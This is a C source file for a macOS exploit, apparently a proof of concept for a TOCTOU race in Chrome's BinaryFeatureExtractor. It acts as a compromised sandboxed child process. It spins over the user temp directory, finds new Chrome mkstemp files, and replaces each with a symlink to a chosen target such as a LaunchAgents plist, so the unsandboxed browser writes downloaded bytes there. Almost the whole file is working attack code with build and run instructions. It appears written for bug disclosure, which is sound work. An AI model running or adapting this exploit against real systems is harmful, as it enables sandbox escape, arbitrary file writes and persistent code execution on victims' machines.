// racer.c
//
// Symlink-swap racer for the BinaryFeatureExtractor::ExtractImageFeatures
// TOCTOU on macOS.
//
// This program simulates the actions of a *compromised sandboxed child
// process* (network service, GPU process, or on-device-model-execution
// service). All three of those Seatbelt profiles grant file-read* plus
// file-write-create + file-write-unlink (or full file-write*) on
// confstr(_CS_DARWIN_USER_TEMP_DIR), which is the SAME directory the browser
// process uses for base::CreateTemporaryFile() (NSTemporaryDirectory()).
//
// The browser-process code path is:
//
//   ExtractImageFeatures(file_path, ...)
//     base::CreateTemporaryFile(&temp_path);   // mkstemp(); fd closed
//     base::CopyFile(file_path, temp_path);    // copyfile(COPYFILE_DATA),
//                                              //   follows dest symlink
//     base::File f(temp_path, FLAG_OPEN|FLAG_READ|FLAG_DELETE_ON_CLOSE);
//
// Between mkstemp-close and copyfile(), this racer unlinks the freshly
// created temp file and replaces it with a symlink to an arbitrary path.
// copyfile() then writes the attacker-controlled download bytes THROUGH the
// symlink at unsandboxed browser-process privilege.
//
// Build (macOS only):
//   clang -O2 -o racer racer.c
//
// Run (in one terminal, BEFORE triggering the download):
//   ./racer "$HOME/Library/LaunchAgents/com.pwn.plist"
//
// Then trigger a non-archive download in Chrome (see poc.html / server.py).
// Repeat until the race lands. On success the target file contains the
// downloaded bytes.

#define _DARWIN_C_SOURCE
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>

// Chrome temp files are named ".<BaseBundleID>.XXXXXX" (hidden, 6 random
// chars from mkstemp). For an official Google Chrome build the bundle id is
// "com.google.Chrome"; for a local Chromium build it is
// "org.chromium.Chromium". Match either.
static int is_chrome_mkstemp_name(const char *name) {
  static const char *prefixes[] = {
      ".com.google.Chrome.",
      ".org.chromium.Chromium.",
  };
  for (size_t i = 0; i < sizeof(prefixes) / sizeof(prefixes[0]); i++) {
    size_t plen = strlen(prefixes[i]);
    if (strncmp(name, prefixes[i], plen) != 0) {
      continue;
    }
    const char *suffix = name + plen;
    // mkstemp suffix: exactly 6 chars, no further dot.
    if (strlen(suffix) == 6 && strchr(suffix, '.') == NULL) {
      return 1;
    }
  }
  return 0;
}

int main(int argc, char **argv) {
  if (argc != 2) {
    fprintf(stderr, "usage: %s <symlink-target>\n", argv[0]);
    fprintf(stderr,
            "  e.g. %s \"$HOME/Library/LaunchAgents/com.pwn.plist\"\n",
            argv[0]);
    return 1;
  }
  const char *target = argv[1];

  // Resolve the per-user Darwin temp dir — same value the browser uses for
  // base::GetTempDir() (NSTemporaryDirectory()) and the same value passed to
  // sandboxed children as `darwin-user-temp-dir`.
  char tmpdir[1024];
  size_t n = confstr(_CS_DARWIN_USER_TEMP_DIR, tmpdir, sizeof(tmpdir));
  if (n == 0 || n >= sizeof(tmpdir)) {
    perror("confstr(_CS_DARWIN_USER_TEMP_DIR)");
    return 1;
  }
  fprintf(stderr, "[racer] watching %s\n", tmpdir);
  fprintf(stderr, "[racer] symlink target: %s\n", target);

  int dfd = open(tmpdir, O_RDONLY | O_DIRECTORY);
  if (dfd < 0) {
    perror("open(tmpdir)");
    return 1;
  }

  // Record what already exists so we only attack NEW entries created while
  // we're racing.
  char seen[256][64];
  int nseen = 0;
  {
    DIR *d = opendir(tmpdir);
    if (!d) {
      perror("opendir");
      return 1;
    }
    struct dirent *de;
    while ((de = readdir(d)) != NULL) {
      if (is_chrome_mkstemp_name(de->d_name) && nseen < 256) {
        strncpy(seen[nseen], de->d_name, sizeof(seen[nseen]) - 1);
        seen[nseen][sizeof(seen[nseen]) - 1] = '\0';
        nseen++;
      }
    }
    closedir(d);
  }

  unsigned long long iters = 0, swaps = 0;
  for (;;) {
    iters++;
    // Tight readdir spin. A kqueue EVFILT_VNODE watcher would be more
    // elegant but a hot spin maximises the probability of landing in the
    // mkstemp-close → copyfile window.
    DIR *d = opendir(tmpdir);
    if (!d) {
      continue;
    }
    struct dirent *de;
    while ((de = readdir(d)) != NULL) {
      if (!is_chrome_mkstemp_name(de->d_name)) {
        continue;
      }
      int known = 0;
      for (int i = 0; i < nseen; i++) {
        if (strcmp(seen[i], de->d_name) == 0) {
          known = 1;
          break;
        }
      }
      if (known) {
        continue;
      }
      // New mkstemp temp file from the browser. Race: unlink + symlink.
      // Both operations are permitted by network.sb / gpu.sb /
      // on_device_model_execution.sb on (subpath darwin-user-temp-dir).
      if (unlinkat(dfd, de->d_name, 0) == 0) {
        if (symlinkat(target, dfd, de->d_name) == 0) {
          swaps++;
          fprintf(stderr,
                  "[racer] SWAPPED %s -> %s  (swap #%llu, scan #%llu)\n",
                  de->d_name, target, swaps, iters);
          // Don't add to `seen` — let the browser's FLAG_DELETE_ON_CLOSE
          // clean it up; we want to attack the NEXT download too.
        } else {
          fprintf(stderr, "[racer] symlinkat(%s) failed: %s\n", de->d_name,
                  strerror(errno));
        }
      }
      // Whether or not unlink succeeded, remember this name so we don't
      // hammer it forever.
      if (nseen < 256) {
        strncpy(seen[nseen], de->d_name, sizeof(seen[nseen]) - 1);
        seen[nseen][sizeof(seen[nseen]) - 1] = '\0';
        nseen++;
      }
    }
    closedir(d);
  }
}
